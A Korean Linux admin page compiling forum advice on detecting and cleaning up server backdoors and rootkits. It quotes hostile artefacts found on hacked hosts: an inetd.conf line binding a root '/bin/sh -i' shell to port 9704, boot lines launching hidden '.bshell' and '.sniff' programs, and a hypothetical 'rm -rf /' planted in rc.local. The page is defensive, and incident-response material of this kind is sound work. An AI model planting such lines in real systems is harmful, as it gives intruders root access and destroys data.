사이트 내 전체검색
[linux] 백도어 수습하기
로빈아빠
https://cmd.kr/server/305 URL이 복사되었습니다.

본문

백도어 수습하기

저작권은 글 쓴 분들에게 있습니다.

lawwal(임대호)
먼저 언급드리고 싶은 말씀은 "백도어는 정형화되어 있지 않다."는 것입니다.
예컨대 /etc/rc.d/rc.local, /etc/inetd.conf 등의 파일에 뭐가 심어져 있다든지 /etc/passwd에 사용자가 추가되어 있다든지...
백도어는 우리가 미처 알지 못하는 다양한 방법으로 존재할 수 있습니다.

1차적인 권고
서버 운영자가 침입자가 있음을 감지했더라도 그 사실을 침입자가 눈치채지 못하도록 처신해야 합니다.
노련한 사람이라면 자신의 자취만을 감추는데 필요한 로그파일들만을 지우고 사라지겠지만 자칫하면 시스템을 뽀작낼 수도 있기 때문입니다.

2차적인 권고
이쁘든 밉든 백도어(들)을 찾습니다. 보통 하나의 백도어를 찾으면 끝인줄로 여기지만 제가 사태를 수습했던 몇몇 서버의 경우 최소 2가지에서 4가지 형태의 백도어가 존재하더군요. 당연한 말씀이지만 찾아서 모조리 막습니다.

제가 백도어를 찾는 방법중 일부를 소개합니다. (이 자료는 예전에 뉴스그룹에 투고했던 글입니다.)

1.
# find /dev -type f
위와 같은 명령으로 쓸데없는 파일들(-_-)이 존재하는지 확인합니다. 보통 /dev/MAKEDEV 등과 같이 device 를 관리하고자 하는 파일 이외의 것이 검색되면 일단 의심해봐야 합니다. 그리고 습성상 디렉토리명칭을 공백 한바이트(" ")나 "..." 등과 같이 dot 3개 정도로 생성하여 쉽게 눈에 띄지 않게 하기도 하므로 이런 형태의 파일이나 디렉토리도 찾아보시기 바랍니다.

2.
# grep -v "^#" /etc/inetd.conf
위와 같은 명령으로 불필요한(또는 크래커가 추가한) 서버에 관한 설정이 추가되어 있는지 확인합니다.

3.
# netstat -an | grep LISTEN
위와 같은 명령으로 서버에 열린 포트를 확인하여 의심가는 포트가 있다면 포트를 물고 있는 데몬을 찾아 봅니다.

4.
/etc/passwd 파일을 열어서 최근에 추가된 사용자나 얍샵하게 기존 사용자정보 사이에 숨겨둔 크래커의 일반계정이 존재하는지 확인합니다.

5.
시스템의 부트스크립트(/etc 경로 하단)에 백도어를 실행하는 등의 악성코드가 존재하는지 확인합니다.

6.
필요할 경우 다음과 같이 find 명령의 시간옵션을 주어 최근에 변경된 파일들을 찾아볼 수도 있겠습니다만, 크래커가 파일 수정일자까지도 변조했다면 별로 유익한 방법이 되지 못할 수도 있습니다.
# find / -ctime -30 -type f

7.
포트를 이용한 백도어 뿐만 아니라 루트쉘을 얻도록 구성된 백도어가 구성되어 있을 수 있으므로 시스템 내의 Set User ID(SUID) 파일들을 죄다 훑어봐서 악성코드나 악성쉘이 아닌지 확인합니다.

3차적인 권고
침입자가 슈퍼유저 권한을 획득했었다면 시스템을 재설치하는 것이 필수라고 감히 말씀드리고 싶습니다.
아시듯이 유닉스 계열에서 슈퍼유저 권한은 절대적인 지위에 있습니다. 소프트웨어적인 어떠한 작업이라도 가능하다는 이야기 입니다.

고생끝에 보안구멍을 모두 막았노라고 장담하실 수도 있겠지만, /etc 디렉토리 밑에 위치한 파일이나 경로중 어느 하나라도 일반 사용자에게 쓰기권한이 부여되어 있을 경우 재수없으면 또 다시 악몽이 시작될 수 있습니다. 침입자가 앙증맞게도 일반사용자로 로그인 하여 /etc/rc.d/rc.local 파일과 같이  슈퍼유저권한으로 자동으로 실행되는 스크립트파일(/etc/sysconfig/network 등 대부분의 스크립트)에 rm -rf / 라는 줄을 삽입하게되면 아좌주~ 재미있는  사태가 벌어지겠지요. 그만큼 슈퍼유저권한을 한번쯤 잃은 서버라면 99%이상 신뢰할 수 없습니다. 파일의 무결성을 확인할 수 있는 tripwire 등을 사용하지 않던 서버라면 무조건 재설치하시는게 좋습니다.

sciver(정성욱)
/usr/sbin/.bshell >>/dev/null &>/dev/null &
/usr/sbin/.sniff >>/dev/null &>/dev/null &

위의 .bshel 은 아마 외부에서 백도어로 들어올수 있게 하는 password 파일을 출력 하는것 같습니다. 그리고 sniff는  netmask 안에 있는 모든 컴퓨터의 네트웍 전송  데이터를 훔쳐보는 스니퍼링 프로그램입니다.
문제는 바로 스니퍼링 프로그램이죠. 말 그대로, 내부네트웍에 연결된 컴퓨터의 모든 데이터를 훔쳐볼 수 있습니다.
둘다 눈에 잘 안띄게 하기 위하여 .파일 로 시작하였군요. 게다가 출력도 /dev/null 이라는 변조된 파일에 하도록 되어 있고 말입니다. 해커는 단순히 bshell을 통해 알아둔 passwd를 이용하여 들어와 .sniff가 만들어둔 데이터를 가져가는것만으로 그쪽 단체의 모든 데이터를 훔쳐볼수 있는 것입니다. 말 그대로, 치명적이죠... 제가 본 해킹 피해중에서 가장 최대가 될것 같습니다...걱정...

해결책
0. 시스템을 전체 포맷하고 다시 인스톨하세요.
1. /etc/inetd.conf 에서 rlogin, rexec, rsh, imap서비스 , nfinger, ntalk, gopher 를 모두 # 처리 하고 inet 재실행하세요.
2. redhat의 경우 http://www.redhat.com/support 에서 official errata 에 가서 security 에 관련된 (거의 모두) 것을 모두 받아 rpm upgrade 하세요. 특히 : bind, nfs, imap, syslog, ftp ...
3. router 에서 telnet 패킷만큼은 외부에서 들어오는것을 차단하세요. 몇군데, 고나리용 백도어를 제외하고 말입니다.  관리용
4. 쓰고 계신 내부 네트웍 이용자 모두의 모든 인터넷 계정등등을 모조리 바꾸세요... sniffering 때문입니다.
5. 최신 패키지로 계속 업그레이드 하세요.

lion2004(이혜원)
루트 킷이 깔려있을 경우에 대해서 이야기하고 잇습니다.
shadow passwd 가 풀리고, name daemon, ps ,top , inetd등 수많은 데몬을 바꾸어 놓고요.  증상으로는 w , who 등 현재 사용자 현황을 전혀 보실수 없고  top 명령을 쓰면 화면이 안나올 겁니다.
패스워드 화일을 잘 살펴 보세요.  최근에 만들어진 UID 가 높은 계정부터 그러니까  tail -15 /etc/passwd 해보시면 될겁니다. 모르는 계정이 있거나 그러시면 계정 dir로 가보세요.  만약 계정에 lrk.tgz 화일이 있다면 이미 해킹당하고,  중요한 데몬 대부분을 바꾸구 난 뒤 입니다.
들어 오는 방법은 FTP로 접속해서  ROOT권한을 획득해서 당당하게 계정을 만든후  lrk.tgz를 ftp로 업로드후 실행시킨후 사라집니다.  이걸 복구 할려면, linux 를 다시 Install 시키셔야 합니다.  물론 lrk/install 을 보면 무엇을 바f는지 알수 있으니까  그것만 구하셔서 다시까셔도 됩니다.  개인용 컴퓨터에 서버에 깔린 것이랑 같은 버전의 Linux를  설치하시고 프로그램들을 덮어 쓰셔도 되지만.  install에 써 있는거 이외에 다른것도 설치 했을수도  있지때문에 다시 설치하시는것이 좋습니다.
원래 한번 해킹당하면 /home과 /etc만 백업받고  나머지는 날려버리는게 가장 안정하죠.  파티션 다시 잡을 필요도 없고 포맷시킬필요도 없이,  그냥 덮어 쓰면 되구요.  그전에 /etc 를  백업 받으셔서 /home 밑에 넣어 놓으시기 바랍니다.  그리고 다시 /etc에서 text로 된 설정화일 들만 Copy 하시면  됩니다. 절대 binary File 은 Copy 하시면 안됩니다.  ( - /etc에 binary가 있나? - )
주로 MCI.NET쪽으로 들어오는데,  /etc/hosts.deny 화일을 이용해서 일단 MCI.NET쪽 C-CLASS IP 전부를  막아 놓으시구요.  Anonymous FTP를 허용하고 계시다면 막는 것을 심각하게 고려 하시기 바랍니다.  /etc/inetd.conf , /etc/services 화일에서,  요즘 쓰지도 않는 것과 약간의 보안성에 의문이 가는 것들과  괜히 해커에게 정보만 주는 것은 모조리 막으시기 바랍니다.  gopher, rlogin, exec, talk, ntalk, dtalk, imap (요즘 다 pop-3쓰죠?),  tftp, bootps, finger, cfinger, netstat, systat등입니다.  리눅스 사용중 알짜 red-hat 5.0을 까신 경우라면  즉시 ftp.hpcnet.ne.kr로 접속하셔서
심각한 보안성 버그 발견된 bind전체랑 imap 등 왠만하면 다 받으셔서 설치하시기 바랍니다.  ( * rpm 설치법 : rpm -Uvh RPM.rpm )  커널 버전이 2.0.32 라면 반드시 2.0.35로 업그레이드 하시기 바랍니다.  그리고 다시 깔지 않은  /home 디렉토리나 아니면 차라리 서버 전체에서  set uid준 프로그램들을 체크하시기 바랍니다.  그리고 패스워드를 전부 바꾸시기 바랍니다. 휴.. 이제 이정도면 어느 정도 방어는 됐군요..  이제 서버 사용중에 보안성관련 버그에 관한 글들에 관심을 기울이시고  바로 업데이트 하시고 가장 중요한 것은 정기적으로 백업받는것입니다.  백업만 받아 두면 서버 날릴까봐 이러지도 저러지도 못하고 질질끌진 않죠.  좋은 통신하시고, 어느 정도 도움이 되었으면 합니다.

island01(고현준)
다음은 /var/log/messages 파일의 일부를 가져온 것입니다..
참고로 저의 호스트이름은 jaguar 입니다..
의문이 가는 부분을 앞에 ** 해놓았습니다.
Nov 6 21:43:35 jaguar rc.sysinit: Mounting local filesystems succeeded Nov 6 21:43:35 jaguar rc.sysinit: Turning on user and group quotas for local filesystems succeeded Nov 6 12:43:37 jaguar date: Sat Nov 6 12:43:37 KST 1999 Nov 6 12:43:37 jaguar rc.sysinit: Setting clock : Sat Nov 6 12:43:37 KST 1999 succeeded Nov 6 12:43:37 jaguar rc.sysinit: Enabling swap space succeeded **Nov 6 12:43:49 jaguar adduser[98]: new group: name=jaja, gid=504 **Nov 6 12:44:54 jaguar PAM_pwdb[101]: password for (jaja/0) changed by ((null)/0) **Nov 6 12:44:56 jaguar PAM_pwdb[102]: (su) session opened for user jaja by (uid=0) **Nov 6 12:44:58 jaguar PAM_pwdb[102]: (su) session closed for user jaja Nov 6 12:44:58 jaguar init: Entering runlevel: 5 Nov 6 12:44:59 jaguar apmd[121]: Version 3.0beta4 (APM BIOS 1.2, Linux driver 1.9) Nov 6 12:44:59 jaguar apmd: apmd startup succeeded Nov 6 12:45:01 jaguar network: Bringing up interface lo succeeded
보면은 부팅과정이라는 거 알수있는데... rc.sysinit 에서 rc5d로 넘어가는 중간에 jaja라는 id가 하나 생기네엽.. 이 컴은 울과 실습실에 있는 거고 제가 리눅스깔아서 쓰고 있던 거였는데.. 누군가가 root를 목적으로 의도적으로 리부팅해서 jaja를 만든 것이 아닌지 의문이 듭니다... 아..그리고 실제로 passwd에 jaja라는 아뒤는 uid=0 gid=4로 등록되어있었습니다

라그품바(배재용)
etc/inetd.conf 에... 이런 글이.. 마지막에..
auth stream tcp nowait nobody /usr/sbin/in.identd in.identd -l -e -o # # End of inetd.conf linuxconf stream tcp wait root /bin/linuxconf linuxconf --http #swat stream tcp nowait.400 root /usr/sbin/swat swat linuxconf stream tcp wait root /bin/linuxconf linuxconf --http 9704 stream tcp nowait root /bin/sh sh -i ~
이 경우 telnet x.x.x.x 9704 로 들어갈 경우에 root가 됩니다.

lawwal(임대호)
/var/log/messages에서
Apr 6 04:04:19 locust PAM_pwdb[1177]: (su) session opened for user news by (uid=0)
위 부분은 이름없는(?) 슈퍼유저 권한(UID=0) 으로 su 명령을 내려 "news"라는 사용자로 변경했던 흔적입니다.
위의 로그중 by ???? (uid=0) 부분의 ???? 부분에 아무것도 들어 있지 않은것은 백도어를 이용하여 접근해서 인증정보가 존재하기 않기 때문에 root 등으로 적히지 않고 무명용사(!)가 작업한 것으로 로그에 기록된 것 같군요.

댓글목록

등록된 댓글이 없습니다.

1,139 (13/23P)

Search

Copyright © Cmd 명령어 18.116.14.48